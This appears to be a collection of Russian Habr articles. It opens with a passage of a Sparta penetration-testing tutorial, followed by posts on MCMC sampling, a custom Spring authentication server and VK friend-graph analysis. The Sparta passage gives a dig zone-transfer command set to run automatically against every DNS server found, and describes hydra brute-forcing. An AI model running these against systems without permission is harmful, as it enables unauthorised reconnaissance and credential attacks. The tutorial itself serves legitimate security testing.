* /var/lib/dpkg/info/sparta.conffiles
Sparta проверяет их наличие, если файлов нет, то создает новый. Разработчики обещают когда-нибудь сделать возможным настройку инструмента из графического интерфейса, но на данный момент редактировать файлы придется в ручном режиме.
Файл содержит список параметров, разделенных на группы General Settings, Brute Settings, StagedNmapSettings и т.д. Разработчики не рекомендуют удалять какие-либо строки из файла конфигурации, т.к. это может нарушить работу программы. Группы ToolSettings, HostActions, PortActions и PortTerminalActions отвечают за настройку опций, доступных по правому клику. Группа SchedulerSettings отвечает за автоматический запуск инструментов в отношении найденных сервисов.
Для примера добавим инструмент dig для сервиса UDP/TCP 53 порта с ключом -t axfr для выполнения трансфера зоны.
Так как данный инструмент работает с сервисом, а не с хостом, то группой, которую нам нужно заполнить, будет PortActions. Нам необходимо выполнить следующую команду в отношении найденного DNS сервера
```
# dig -t axfr ИМЯ_ДОМЕНА @DNS_IP
```
Sparta имеет специальные конструкции, такие как [PORT] и [IP] позволяющие доставить в наш инструмент порт сервиса, который мы атакует и IP адрес хоста.
Но нам нужно узнать доменное имя. Для воспользуемся следующей конструкцией
```
$(dig -x [IP] +short @[IP] | head -n 1 | cut -d '.' -f 2-3)
```
Таким образом, в группу PortActions попадает следующая строка, по аналогии с уже имеющимися в файле.
[PortActions]
```
dig-axfr=Try Zone Transfer, bash -c \"dig -t axfr $(dig -x [IP] +short @[IP] | head -n 1 | cut -d '.' -f2-3) @[IP]\", "domain"
```
Но я хочу, чтобы попытка трансфера зоны выполнялась всякий раз, когда будет обнаружен DNS сервис.
Для этого я заполню группу SchedulerActions таким образом
[SchedulerSettings]
```
dig-axfr="domain", udp
```
Теперь можно перезапустить Sparta чтобы проверять работу добавленного инструмента.
Sparta можно запустить через меню, в разделе Vulnerability Analysis
Или через консоль
```
# sparta
```
Пример работы
-------------
После запуска мы видим следующий интерфейс
И первое, что нам нужно сделать, обозначить наши цели.
Кликаем в этой области:
И задаем, к примеру, такую подсеть:
Сразу можно указать sparta провести обнаружение хостов при помощи Nmap.
Вторая опция «Run staged nmap scan» запускает nmap особым образом, разделяя сканирование на этапы (stages). Они представлены в файле конфигурации Sparta.conf.
[StagedNmapSettings]
```
stage1-ports="T:80,443"
stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434"
stage3-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060"
stage4-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999"
stage5-ports=T:30000-65535
```
Этот режим позволяет быстрее получать информацию о найденных сервисах и оптимизирует работу по автоматическому запуску тасков.
После нажатия кнопки «Add to scope» в нижней части экрана можно увидеть информацию о работающих задачах. Видим, что множество инструментов работают параллельно.
Правым кликом можно завершить любое из заданий.
Так же, вы можете заметить, что таблица с хостами заполняется, и при выборе одного из хостов, в правой части интерфейса доступны вкладки с результатом работы скриптов.
Кликнув правой кнопкой на обнаруженном открытом порте, мы можем выполнить всевозможные задачи, например, подключиться к сервису при помощи telnet или nc, провести брутфорс и т.д.
Стоит заметить, что вид меню зависит от сервиса. Ниже скриншот для FTP сервиса
Дополнительно мы можем запустить whatweb, dirbuster, сделать скриншот выбранного веб-приложения.
Для MySQL, соответственно, будет доступна опция mysql client и так далее.
Для DNS доступен трансфер зоны, который мы добавили в начале статьи.
Так же в логе видно, что автоматически было выполнено задание dig-axfr.
Если вы хотите увидеть весь список инструментов, удерживайте SHIFT во время правого клика.
Вкладки с выводом от запущенных инструментов содержат полный вывод результатов работы инструмента
Вывод добавленного нами инструмента отображается корректно:
Помимо вкладок, привязанных к инструментам, запускаемым Sparta, нам доступны следующие:
* **Services** – содержит список обнаруженных сервисов
* **Scripts** – содержит результат работы скриптов nmap NSE (заполняется при запуске nmap с –sC или при правом клике на сервисе и выборе соответствующей опции)
* **Information** – содержит базовую информацию о хосте, такую как IP, MAC адреса, тип и версию ОС, статические показатели
* **Notes** – позволяет добавить собственный комментарий к хосту
* Есть возможность провести дополнительное сканирование выбранных хостов при помощи правого клика на выбранном хосте в списке.
Так же, есть возможность просмотреть найденную информацию не только в разрезе хостов, но и в разрезе сервисов или отработавших инструментов
Например, посмотреть результат работы nikto по всем хостам:
Или увидеть, на каких машинах есть веб-приложения:
Здесь есть важная особенность, что Sparta не будет запускать один и тот же инструмент в отношении хоста, против которого уже проводилось сканирование этим инструментом, если вы запустите инструмент через вкладку Services. Чтобы запустить инструмент против всех хостов, удерживайте SHIFT во время правого клика.
После того как вы решили, что исследовали хост, можно правым кликом и опцией «Mark as checked» пометить его в списке:
После этого против данного хоста инструменты больше запускаться не будут.
Вкладка Bruteforce позволяет настроить и запустить брутфорс при помощи hydra.
Основные опции вынесены в графический интерфейс, такие как выбор файлов с пользователями и паролями, опция Loop around users, которая позволяет проверять все словарные пароли для каждого пользователя по порядку, а не каждый пароль по всем пользователям и другие. При помощи опции Additional options вы можете дописать свои ключи.
Так же полезными будет опции Found usernames и Found passwords для брутфорса по уже найденным логинам и паролям. Сохранить результат своих исследований можно через меню File – Save в специальном формате:
Заключение
----------
Инструмент Sparta может быть использован широким спектром специалистов. Он будет удобен как новичкам, так и профи, поскольку, обладая удобным интерфейсом, он предоставляет возможность тонкой настройки под свои нужны и привычки, что позволяет, в дальнейшем, экономить время на этапе сбора информации при проведении тестирования на проникновение. | https://habr.com/ru/post/324560/ | null | ru | null |
# Вероятностные модели: сэмплирование
И снова здравствуйте! Сегодня я продолжаю серию статей в блоге Surfingbird, посвящённую разным методам рекомендаций, а также иногда и просто разного рода вероятностным моделям. Давным-давно, кажется, ~~в прошлую пятницу~~ летом прошлого года, я написал небольшой цикл о графических вероятностных моделях: [первая часть](http://habrahabr.ru/company/surfingbird/blog/176461/) вводила основы графических вероятностных моделей, во [второй части](http://habrahabr.ru/company/surfingbird/blog/177889/) было несколько примеров, [часть 3](http://habrahabr.ru/company/surfingbird/blog/185622/) рассказывала об алгоритме передачи сообщений, а в [четвёртой части](http://habrahabr.ru/company/surfingbird/blog/188812/) мы кратко поговорили о вариационных приближениях. Цикл заканчивался обещанием поговорить о сэмплировании — ну что ж, не прошло и года. Вообще говоря, в этом мини-цикле я поведу речь более предметно о модели LDA и о том, как она помогает нам делать рекомендации текстового контента. Но сегодня начну с того, что выполню давнее обещание и расскажу о сэмплировании в вероятностных моделях — одном из основных методов приближённого вывода.
### В чём задача
Прежде всего я напомню, о чём мы вообще говорим. Один из основных инструментов машинного обучения — это теорема Байеса:
Здесь *D* — это данные, θ — параметры модели, которые мы хотим обучить, а  — это распределение θ при условии имеющихся данных *D*; про теорему Байеса мы уже подробно говорили [одной из предыдущих статей](http://habrahabr.ru/company/surfingbird/blog/150207/). В машинном обучении мы, как правило, хотим найти апостериорное распределение , а затем предсказать новые значения переменных . В сложных графических моделях всё это, как мы обсуждали в предыдущих сериях, обычно сводится к тому, что у нас есть большое и запутанное распределение разнообразных случайных величин , которое раскладывается в произведение распределений попроще, и наша задача — провести *маргинализацию*, т.е. суммировать по части переменных или найти ожидание функции от части переменных. Заметим, что все наши задачи так или иначе сводятся к тому, чтобы подсчитать математическое ожидание разных функций при условии сложного распределения, обычно условного распределения модели, в которую подставлены значения некоторых переменных. Также можно считать, что мы умеем считать значение совместного распределения в любой его точке — это обычно несложно следует из общего вида модели, а сложность как раз в том, чтобы по куче этих переменных просуммировать-проинтегрировать.
Мы уже знаем, что точный вывод вести сложно, и эффективные алгоритмы получаются только для случая фактор-графа без циклов или с маленькими циклами. Однако реальные модели часто содержат кучу переменных, которые связаны друг с другом достаточно плотно и образуют массу циклов. Мы немного говорили о вариационных приближениях — одном возможном способе преодолеть возникающие трудности. А сегодня я расскажу о другом, ещё более популярном методе — о сэмплировании.
### Приближение Монте-Карло
Идея проста до чрезвычайности. Мы уже выяснили, что в принципе всё, что нам нужно, выражается в виде ожиданий разнообразных функций по нашему сложному и запутанному распределению *p*(**x**). Как подсчитать ожидание функции по распределению? Если мы умеем *сэмплировать* из этого распределения, т.е. брать случайные точки  по распределению *p*(**x**), то ожидание любой функции можно приблизить как среднее арифметическое в сэмплированных точках:
Например, чтобы посчитать среднее (матожидание), нужно усреднить по сэмплам **x**.
Таким образом, вся наша задача фактически сводится к тому, чтобы научиться сэмплировать точки по распределению при условии, что мы можем в любой точке считать значение этого распределения.
### В чём тут сложность
Человеку, воспитанному на функциях от одной переменной (т.е. фактически любому человеку, прослушавшему базовый курс матанализа в вузе), может показаться, что большой проблемы тут нет, и все эти разговоры ни о чём — известно же, как приближённо посчитать интеграл, надо просто разбить отрезок на части, посчитать функцию в середине каждого маленького отрезочка, прямоугольники там, трапеции, ну вы понимаете… И действительно, в сэмплировании из распределений от одной переменной нет ничего сложного. Сложности, как всегда, начинаются с ростом размерности — если в размерности 1 нужно посчитать 10 значений функции, чтобы разбить интервал на отрезки со стороной 0.1, то в размерности 100 таких значений нужно будет уже 10100, что гораздо печальнее. Этот и другие эффекты, которые делают работу в высокой размерности совершенно непохожей на привычную нам размерность 2-3, получили название «проклятие размерности» (curse of dimensionality); там есть и другие интересные контринтуитивные эффекты, возможно, стоит когда-нибудь поговорить об этом подробнее.
Есть и ещё одна сложность — выше я писал, что мы можем считать значение распределения в любой точке. На самом же деле обычно мы можем считать не значение распределения *p*(**x**), а значение некоторой функции *p*\*(**x**), которая *пропорциональна* *p*(**x**). Вспомните теорему Байеса — из неё мы получаем не само апостериорное распределение, а пропорциональную ему функцию:
Обычно на этом месте мы говорили, что этого достаточно, а точное значение вероятности можно просто подсчитать, нормализовав полученное распределение так, чтобы оно суммировалось в единицу (т.е. вычислив знаменатель в теореме Байеса). Однако это как раз и есть та сложная задача, которую мы сейчас пытаемся научиться решать: просуммировать все значения сложного распределения. Поэтому в реальной жизни мы не можем рассчитывать на значение истинных вероятностей, только на некоторую пропорциональную им функцию p\*.
### Что же делать: сэмплируем под графиком
Несмотря на все вышеперечисленные сложности, сэмплирование делать всё-таки возможно, и это действительно один из главных приёмов приближённого вывода. Более того, как мы скоро увидим, делать сэмплирование совсем не так сложно, как кажется. В этом разделе я расскажу об основной идее, на которой так или иначе основаны все алгоритмы сэмплирования. Идея такая: **если равномерно выбрать точку под графиком функции плотности распределения *p*, то её X-координата будет взята как раз по распределению *p***. Это очень легко понять интуитивно: представьте себе график плотности и разбейте его на маленькие столбики, примерно так (графики сделаны в matplotlib):
Теперь видно, что когда вы берёте случайную точку под графиком, каждая X-координата будет встречаться с вероятностью, пропорциональной высоте своего столбика, т.е. как раз со значением функции плотности на этом столбике.
Таким образом, нам нужно только научиться брать случайную точку под графиком плотности нужного распределения. Как же это сделать?
Первая идея, которая реально работает и часто применяется на практике — так называемая *выборка с отклонением* (*rejection sampling*). Давайте предположим, что у нас есть некое другое распределение *q* (точнее, пропорциональная ему функция *q*\*), которое мы уже умеем сэмплировать. Обычно это какое-нибудь классическое распределение — равномерное или нормальное. Здесь стоит отметить, что сэмплировать из нормального распределения — это тоже не вполне тривиальная задача, но мы сейчас её пропустим, для нас сейчас достаточно знать, что «люди так делать умеют». Далее, предположим, что мы знаем про него такую константу *c*, что для всех **x** . Тогда мы сумеем сэмплировать *p* таким образом:
* берём сэмпл **x** по распределению *q*\*(**x**);
* берём случайное число *u* равномерно из интервала ;
* вычисляем *p*\*(**x**); если оно больше *u*, то **x** добавляется в сэмплы, а если меньше (т.е. если *u* не попало под график плотности *p*\*), то **x** отклоняется (отсюда и выборка с отклонением).
Вот картинка, иллюстрирующая выборку с отклонением (нормальное распределение, подобранное так, чтобы мажорировать смесь двух других гауссианов):
Если точка под графиком *cq*\* попадает под график *p*\*, т.е. в синюю зону, мы её берём; а если над ним, т.е. в красную зону, — не берём. Опять же, легко интуитивно понять, почему это работает: мы берём случайную точку равномерно под графиком *cq*\*, а потом оставляем только те точки, которые при этом попали под график *p*\* — понятно, что при этом у нас останется как раз равномерное распределение под графиком *p*\*. Столь же понятно, что если нам удастся выбрать *q* достаточно похожим на *p* (например, мы знаем примерно, где сосредоточено *p*, и накрываем эту область гауссианом), то этот метод будет гораздо эффективнее, чем просто разбивать всё пространство на одинаковые кусочки. Но для того, чтобы метод работал, нужно, чтобы *cq* действительно достаточно хорошо приближало *p* — если площадь синей зоны составляет 10-10 от площади красной, никаких сэмплов не получится…
Есть разные варианты этой идеи, на которых я не буду останавливаться подробно. Если вкратце, то эта идея и её вариации хорошо работают со сложными плотностями в размерности, исчисляемой единицами, но в действительно высокой размерности всё-таки начинаются сложности. Из-за эффектов проклятия размерности классические пробные распределения *q* получают разные неприятные свойства (например, в высокой размерности кожура апельсина занимает почти весь его объём, и, в частности, нормальное распределение тоже почти целиком сосредоточено в очень тонкой «кожуре», а вовсе не около нуля), сэмплы в нужных местах не удаётся получить, и всё дело часто проваливается. Нужны другие методы.
### Алгоритм Метрополиса-Гастингса
Суть этого алгоритма основана на той же идее: мы хотим взять точку равномерно под графиком функции. Однако подход теперь другой: вместо того чтобы пытаться накрыть всё распределение «колпаком» функции *q*, мы будем действовать изнутри: будем строить *случайное блуждание* под графиком функции, переходя от одной точки к другой, и время от времени брать текущую точку блуждания в качестве сэмпла. Поскольку в данном случае это случайное блуждание является марковской цепью (т.е. его следующая точка зависит только от предыдущей, а памяти никакой нету), этот класс алгоритмов называется ещё MCMC-сэмплированием (Markov chain Monte Carlo). Чтобы доказать, что алгоритм Метрополиса-Гастингса действительно работает, нужно знать свойства марковских цепей; но мы сейчас ничего формально доказывать не собираемся, так что я просто целомудренно оставлю [ссылку на вики](http://ru.wikipedia.org/wiki/%D0%A6%D0%B5%D0%BF%D1%8C_%D0%9C%D0%B0%D1%80%D0%BA%D0%BE%D0%B2%D0%B0).
Фактически же алгоритм похож на всё ту же выборку с отклонением, но с важным отличием: раньше распределение *q* было едино для всего пространства, а теперь оно будет локальным и будет меняться со временем, зависеть от текущей точки блуждания. Как и прежде, мы рассматриваем семейство пробных распределений , где  — текущее состояние. Но теперь *q* не должно быть приближением *p*, а должно просто быть каким-нибудь сэмплируемым распределением, которое сосредоточено в окрестности текущей точки — например, хорошо подходит сферический гауссиан с небольшой дисперсией. Кандидат в новое состояние *x*' теперь будет сэмплироваться из . Очередная итерация алгоритма начинается с состояния  и заключается в следующем:
* выбрать *x*' по распределению ;
* вычислить
(не надо пугаться,  для симметричных распределений, например гауссиана, равно 1, это просто поправка на асимметрию);
* С вероятностью *a* (1, если *a*>1) , иначе .
Суть в том, что мы переходим в новый центр распределения, если примем очередной шаг, и получается случайное блуждание, зависящее от распределения *p*: мы всегда принимаем шаг, если в эту сторону функция плотности увеличивается, и иногда отвергаем, если уменьшается (отвергаем не всегда, потому что нам надо уметь выходить из локальных максимумов и блуждать под всем графиком *p*). Замечу, кстати, что когда шаг отвергается, мы не просто отбрасываем новую точку, а повторяем второй раз то же самое *x*(*t*) — таким образом высока вероятность повторять сэмплы вокруг локальных максимумов распределения *p*, что соответствует большей плотности.
И снова картинка — вот типичное блуждание на плоскости под графиком смеси двух двумерных гауссианов:
Чтобы подчеркнуть, насколько это на самом деле простой алгоритм, я приведу код, которым был порождён этот график.
**Код на python**
```
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.patches as patches
import matplotlib.path as path
import matplotlib.mlab as mlab
import scipy.stats as stats
delta = 0.025
X, Y = np.meshgrid(np.arange(-4.5, 2.0, delta), np.arange(-3.5, 3.5, delta))
z1 = stats.multivariate_normal([0,0],[[1.0,0],[0,1.0]])
z2 = stats.multivariate_normal([-2,-2],[[1.5,0],[0,0.5]])
def z(x): return 0.4*z1.pdf(x) + 0.6*z2.pdf(x)
Z1 = mlab.bivariate_normal(X, Y, 1.0, 1.0, 0.0, 0.0)
Z2 = mlab.bivariate_normal(X, Y, 1.5, 0.5, -2, -2)
Z = 0.4*Z1 + 0.6*Z2
Q = stats.multivariate_normal([0,0],[[0.05,0],[0,0.05]])
r = [0,0]
samples = [r]
for i in range(0,1000):
rq = Q.rvs() + r
a = z(rq)/z(r)
if np.random.binomial(1,min(a,1),1)[0] == 1:
r = rq
samples.append(r)
codes = np.ones(len(samples), int) * path.Path.LINETO
codes[0] = path.Path.MOVETO
p = path.Path(samples,codes)
fig, ax = plt.subplots()
ax.contour(X, Y, Z)
ax.add_patch(patches.PathPatch(p, facecolor='none', lw=0.5, edgecolor='gray'))
plt.show()
```
Итак, мы получили случайное блуждание под графиком плотности *p*(**x**); на самом деле это ещё надо доказать, но в математику мы углубляться не будем, так что поверьте на слово. Что теперь делать с этим случайным блужданием, нам же нужны независимые сэмплы, а тут получается, что следующая точка блуждания заведомо лежит рядом с предыдущей, и никакой независимости нет и в помине?
Ответ простой: нужно брать не каждую точку, а только некоторые, отделённые друг от друга многими шагами. Поскольку это случайное блуждание, то если большая часть *q* сосредоточена в радиусе ε, а общий радиус, в котором сосредоточено *p*, равен *D*, то для получения независимого сэмпла нужно будет порядка  шагов. В это вы, опять же, можете поверить на слово, а можете вспомнить классическую задачку из курса теории вероятностей о том, как далеко за *n* шагов уйдёт точка, которая с равной вероятностью двигается налево и направо; уйдёт она в среднем на , так что логично, что шагов будет квадратичное число.
А теперь главная фишка: это квадратичное число зависит от радиусов двух распределений, но при этом совершенно *не зависит от размерности*. Сэмплирование по методу марковских цепей Монте-Карло в гораздо меньшей степени подвержено проклятию размерности, чем другие методы, которые мы обсуждали; именно поэтому оно и стало, можно сказать, золотым стандартом. На практике, правда, *D* оценить трудно, так что в конкретных реализациях обычно делают так: сначала некоторое достаточно число первых шагов, скажем 1000, отбрасывают (это называется burn-in, и это действительно важно, потому что начальная точка может попасть в неудачную область *p*, так что перед началом процесса надо точно убедиться, что мы уже ходили достаточно долго), а потом берут каждый *n*-й сэмпл, где *n* подбирают экспериментально, исходя из реально получающейся автокорреляции в последовательности сэмплов.
### Сэмплирование по Гиббсу
И последний на сегодня алгоритм сэмплирования — сэмплирование по Гиббсу. Это на самом деле частный случай алгоритма Метрополиса-Гастингса, очень популярный и простой частный случай.
Идея сэмплирования по Гиббсу ну совсем простая: предположим, что мы находимся в очень большой размерности, вектор **x** очень длинный, и нам сложно выбирать весь сэмпл сразу, не получается. Давайте попробуем выбирать сэмпл не весь сразу, а покомпонентно. Тогда наверняка эти одномерные распределения окажутся проще, и сэмпл мы выберем.
Формально говоря, мы пробегаем по компонентам вектора , на каждом шаге фиксируем все переменные, кроме одной, и выбираем последовательно  по распределению
От общего случая блуждания по Метрополису-Гастингсу это отличается тем, что теперь мы двигаемся на каждом шаге вдоль одной из координатных осей; вот соответствующая картинка:
Сэмплирование по Гиббсу — это частный случай алгоритма Метрополиса для распределений , и вероятность принятия каждого сэмпла получается всегда равна 1 (можете это доказать в качестве упражнения). Поэтому сэмплирование по Гиббсу сходится, и, так как это такое же случайное блуждание по сути, верна та же квадратичная оценка.
Для сэмплирования по Гиббсу не нужно никаких особенных предположений или знаний. Можно быстро сделать работающую модель, и поэтому это очень популярный алгоритм. Заметим ещё, что в больших размерностях может оказаться эффективнее сэмплить по несколько переменных сразу, а не по одной — например, часто бывает, что у нас двудольный граф из переменных, в которых все переменные из одной доли связаны со всеми переменными из другой доли (ну или со многими), а между собой не связаны. В такой ситуации сам Бог велел зафиксировать все переменные одной доли и просэмплировать все переменные в другой доле одновременно (это можно понимать буквально — поскольку при такой структуре все переменные одной доли условно независимы при условии другой, их можно сэмплировать независимо и параллельно), потом зафиксировать все переменные второй доли и так далее.
### Заключение
Сегодня мы успели довольно много: мы поговорили о разных методах сэмплирования, которое является одним из основных инструментов приближённого вывода в сложных вероятностных моделях. Дальше я планирую развивать этот новый мини-цикл в сторону тематического моделирования, точнее, модели LDA (latent Dirichlet allocation, латентное размещение Дирихле). В следующей серии я расскажу о самой модели (кратко я её [уже описывал](http://habrahabr.ru/company/surfingbird/blog/150607/), теперь можно поговорить более детально) и объясню, как для LDA работает сэмплирование по Гиббсу. А потом мы будем постепенно переходить к тому, как можно применять LDA и её многочисленные расширения для рекомендательных систем. | https://habr.com/ru/post/226677/ | null | ru | null |
# Аутентификации на Angular и Spring без Spring Security (сервер на Spring)
Часть 2. Сервер на Spring
=========================
О чем эта статья
----------------
В этой статье, я расскажу как написать простую аутентификацию без помощи готовых решений для данной задачи. Она может быть полезна для новичков, которые хотят написать своё AAA (Authentication, Authorization, and Accounting). [Репозиторий клиента на Angular](https://github.com/lynx-r/angular-spring-authentication-web-angular) и [Репозиторий сервера на Spring](https://github.com/lynx-r/angular-spring-authentication-server-spring).
В данной статье я сделаю выдержки кода серверной части на Spring.
Сервер аутентификации на Spring
===============================
Структура проекта
-----------------
```
.
└── backendspring
├── BackendspringApplication.java # Spring приложение
├── config
│ ├── AppProperties.java
│ ├── AuthAuthority.java # Описание доступов для контроллера авторизации пользователей
│ ├── CorsFilterAdapter.java # Описание CORS
│ ├── ErrorMessages.java
│ ├── IAuthority.java # Интерфейс для описания доступов
│ ├── RequestConstants.java
│ ├── DefendedAuthority.java # Описание доступов для защищенного контроллера
│ └── SecurityConfig.java # Конфигурация CORS через Spring Security
├── controller
│ ├── AuthController.java # Контроллер аутентификации
│ └── ProtectedPingPongController.java # Защищенный контроллер
├── dao
│ ├── BaseDao.java
│ └── SecureUserDao.java # DAO для хранящейся в базе информации о пользователе
├── exception
│ ├── AuthException.java
│ └── PingPongException.java
├── function
│ ├── BaseHandlerFunc.java # Рутинные методы аутентификации для функционального интерфейса ModelHandlerFunc.java
│ ├── TrustedHandlerFunc.java # Функциональный интерфейс обрабатывающий проверенные запросы клиента
│ └── SecureHandlerFunc.java # Функциональный интерфейс выполняющий проверку запросов клиента
├── model
│ ├── Answer.java # Структура данных - ответ сервера
│ ├── AuthUser.java # Данные о пользователе используемые для его аутентификации
│ ├── BaseDomain.java
│ ├── EnumAuthority.java # Enum с описание доступов на сайт
│ ├── MessagePayload.java
│ ├── MessageResponse.java
│ ├── Payload.java # Интерфейс с описание классов для сериализации/десериализации в JSON
│ ├── PingPayload.java # Данные, которые получаем от клиента
│ ├── PongPayload.java # Данные, которые возвращаем клиенту
│ ├── UserCredentials.java # Информация для регистрации/аутентификации пользователя
│ └── SecureUser.java # Хранимая в БД информация о пользователе
└── service
├── PingPongService.java # Сервис, которые обрабатывает запрос клиента и возвращает данные ответа
├── SecureUserService.java # ***Собственно, сервис в котором производится аутентификация/авторизация***
└── SecureUtils.java # Сервис для шифрования данных пользователя
```
Сервис аутентификации/авторизации/регистрации (SecureUserService)
-----------------------------------------------------------------
`SecureUserService` главный сервис данной статьи — то, ради чего она задумывалась.
В нем реализованы следующие методы:
`public Optional register(UserCredentials usercredentials)` — Регистрация пользователя;
`public Optional authorize(UserCredentials usercredentials)` — Авторизация или Логин пользователя;
`public Optional authenticate(AuthUser authUser)` — Аутентификация или Проверка прав пользователя;
`public Optional logout(AuthUser authUser)` — Выход или Удаление информации о том, что пользователь сейчас на сайте.
Приведу код авторизации пользователя:
```
// Берем хеш учетных данных пользователя
String credentials = usercredentials.getCredentials();
String salt = secureUser.getSalt();
String clientDigest = SecureUtils.digest(credentials + salt);
// Сверяем с теми что хранятся в базе данных
if (clientDigest.equals(secureUser.getDigest())) {
// Получаем зашифрованный AccessToken и сохраняем ключи шифрования в SecureUser
TokenPair accessToken = getAccessToken(secureUser);
// Присваиваем пользователю сессию
String userSession = getUserSession();
// Сохраняем AccessToken и сессию
secureUser.setSecureToken(accessToken.secureToken);
secureUser.setAccessToken(accessToken.accessToken);
secureUser.setUserSession(userSession);
secureUserDao.save(secureUser);
// Возвращем AccessToken, сессию и открытые данные пользователя клиенту
String userId = secureUser.getId();
Set authorities = secureUser.getAuthorities();
AuthUser authUser = AuthUser.simpleUser(userId, username, accessToken.accessToken, userSession, authorities);
return authUser;
}
```
В общем, стандартный алгоритм.
Да, для получения AccessToken’а я не использую никаких данных пользователя. Просто генерирую случайную строку и шифрую её стандартными алгоритмами шифрования javax.crypto.
Контроллер авторизации клиента (AuthController)
-----------------------------------------------
Для формирования ответа клиенту я использовал способ описанный раннее в [этой статье](https://habr.com/post/352732/)
В этом примере я сделал некоторые упрощения. Но, здесь, все так же используется функциональные интерфейсы из Java SE 8:
Приведу пример того, как я отвечаю на запрос клиента после его авторизации на сайте:
```
@PostMapping("authorize")
public @ResponseBody
Answer authorize(@RequestBody UserCredentials usercredentials, HttpServletResponse response) {
// обрабатываем не авторизованные запрос на авторизацию
return ((TrustedHandlerFunc) (data) ->
secureUserService.authorize(data)
.map(Answer::ok)
.orElseGet(Answer::forbidden))
.handleAuthRequest(response, usercredentials);
}
```
Для обработки не авторизованных запросов я использую функциональный интерфейс `TrustedHandlerFunc`. Он содержит в себе метод `Answer process(T data)`. Этот метод реализуется в контроллере и в нём выполняется вызов метода `SecureUserService::authorize`. Ответ этого сервиса склеивается с методом `Answer::ok` в случае успешной авторизации или метод `Answer::forbidden` в случае неудачной авторизации. Также, в интерфейсе есть метод по умолчанию `TrustedHandlerFunc::handleRequest` и `TrustedHandlerFunc::handleAuthRequest`, которые выбирают для метода `Answer process(T data)` данные. Здесь это `UserCredentials`. Нужно уточнить, что первый метод `handleRequest` предполагает наличие проверенного токена `AuthUser`, а второй, `handleAuthRequest`, нужен только для контроллера `AuthController`.
Контроллер обработки запросов клиента (ProtectedPingPongController)
-------------------------------------------------------------------
Рассмотри обработчик пользовательских запросов. Назовем его `PingPongService`. По условию, этот контроллер не должен быть доступен для не авторизованных клиентов.
Приведу пример создания ответа на запрос `ping`:
```
@PostMapping("ping")
public @ResponseBody
Answer ping(@RequestBody PingPayload ping, HttpServletRequest request, HttpServletResponse response) {
return authenticateRequestService
.getAuthenticatedUser(request, DefendedAuthority.PING)
.map(authUser -> // получаем авторизованного пользователя
((TrustedHandlerFunc) (data) ->
pingPongService.getPong(data, authUser) // обрабатываем запрос пользователя в сервисе
.map(Answer::ok)
.orElseGet(Answer::forbidden)
).handleRequest(response, ping, authUser) // обрабатываем запрос
).orElseThrow(AuthException::forbidden);
}
```
Здесь используются два функциональных интерфейса: `SecureHandlerFunc` и `TrustedHandlerFunc`. Первый проверяет пользовательские заголовки, пришедшие с клиента, создаёт из них "token" `AuthUser` и передаёт их в следующий метод интерфейса `TrustedHandlerFunc`. Здесь, ожидается, что "токен" — авторизованный пользователь.
Детали реализации этих интерфейсов я приводить не буду, так как они уже описаны в статье указанной ранее. Скажу лишь, что отличие только в разбиение обязанностей на авторизацию данных пришедших в заголовках и отправки результата клиенту.
Не обошлось без Spring Security
===============================
Нужно отметить, что всё же пришлось подключить Spring Security для работы с CORS.
Для добавления необходимых заголовков был использован и немного переработан код с StackOverflow. Он находится в классах `CorsFilterAdapter` и `SecurityConfig`.
Заключение
==========
В этой статье мы рассмотрели как сделать простую аутентификацию "своими руками".
Ссылки
======
* [Часть 1. Клиент на Angular](https://habr.com/post/354860/)
* [Spring](http://spring.io/)
* [Создание простого RESTful API с Spark Framework](https://habr.com/post/352732/) | https://habr.com/ru/post/354862/ | null | ru | null |
# Введение в анализ социальных сетей на примере VK API
Данные социальных сетей — неисчерпаемый источник исследовательских и бизнес-возможностей. На примере Вконтакте API и языка Python мы сегодня разберем пару практических примеров, которы помогут узнать:
* азы работы с библиотекой Python — networkx;
* как обращаться к Вконтакте API из языка Python посредством стандартных библиотек, в частности, получать список друзей и членов групп;
* некоторые возможности программы Gephi.
Disclaimer: данная статья не претендует на какую-либо новизну, а лишь преследует цель помочь интересующимся собраться с силами и начать претворять свои идеи в жизнь.
*(волосяной шар для привлечения внимания)*
И начнем сразу же с первой задачи: построить эгоцентричный граф друзей, удалив себя самого.
```
import requests
import networkx
import time
import collections
def get_friends_ids(user_id):
friends_url = 'https://api.vk.com/method/friends.get?user_id={}'
# также вы можете добавить access_token в запрос, получив его через OAuth 2.0
json_response = requests.get(friends_url.format(user_id)).json()
if json_response.get('error'):
print json_response.get('error')
return list()
return json_response[u'response']
graph = {}
friend_ids = get_friends_ids(1405906) # ваш user id, для которого вы хотите построить граф друзей.
for friend_id in friend_ids:
print 'Processing id: ', friend_id
graph[friend_id] = get_friends_ids(friend_id)
g = networkx.Graph(directed=False)
for i in graph:
g.add_node(i)
for j in graph[i]:
if i != j and i in friend_ids and j in friend_ids:
g.add_edge(i, j)
pos=networkx.graphviz_layout(g,prog="neato")
networkx.draw(g, pos, node_size=30, with_labels=False, width=0.2)
```
Результатом работы кода стал данный граф:
В моем случае глазами можно выделить 2 большие компоненты связанности: друзей из двух разных городов проживания.
Некоторые пользователи могут открыть ту или иную информацию только для зарегистрированных пользователей или для друзей, поэтому часть методов иногда могут требовать авторизации (передачи access токена). В таких случаях есть ограничение в виде лимитов на API. В документации VK указано, что для клиентского приложения лимит — 3rps, а для серверного приложения прогрессивная шкала в зависимости от числа установок приложения (rps/число установок): 5/<10000, 8/<100000, 20/<1000000. 35/>1000000.
Также в документации есть следующий абзац:
> Помимо ограничений на частоту обращений, существуют и количественные ограничения на вызов однотипных методов. По понятным причинам, мы не предоставляем информацию о точных лимитах.
Так, к примеру, вызов метода поиска профиля **users.search** или метод просмотра стены пользователя **wall.get** при превышении некоторого лимита (но при не превышении документированных лимитов) начинает выдавать пустые результаты. Эта ситуация может породить ошибки: так, например, при поиске пользователей вы можете посчитать, что по данному поисковому запросу нет результатов, а на самом деле они отсутствуют.
Ниже приведен фрагмент кода, который поможет вам учитывать документированные лимиты, например 3 запроса в секунду.
```
deq = collections.deque(maxlen=4)
def trottling_request(url):
deq.appendleft(time.time())
if len(deq) == 4:
# 3 запроса в секунду, если нужно - подождем
time.sleep(max(1+deq[3]-deq[0], 0))
```
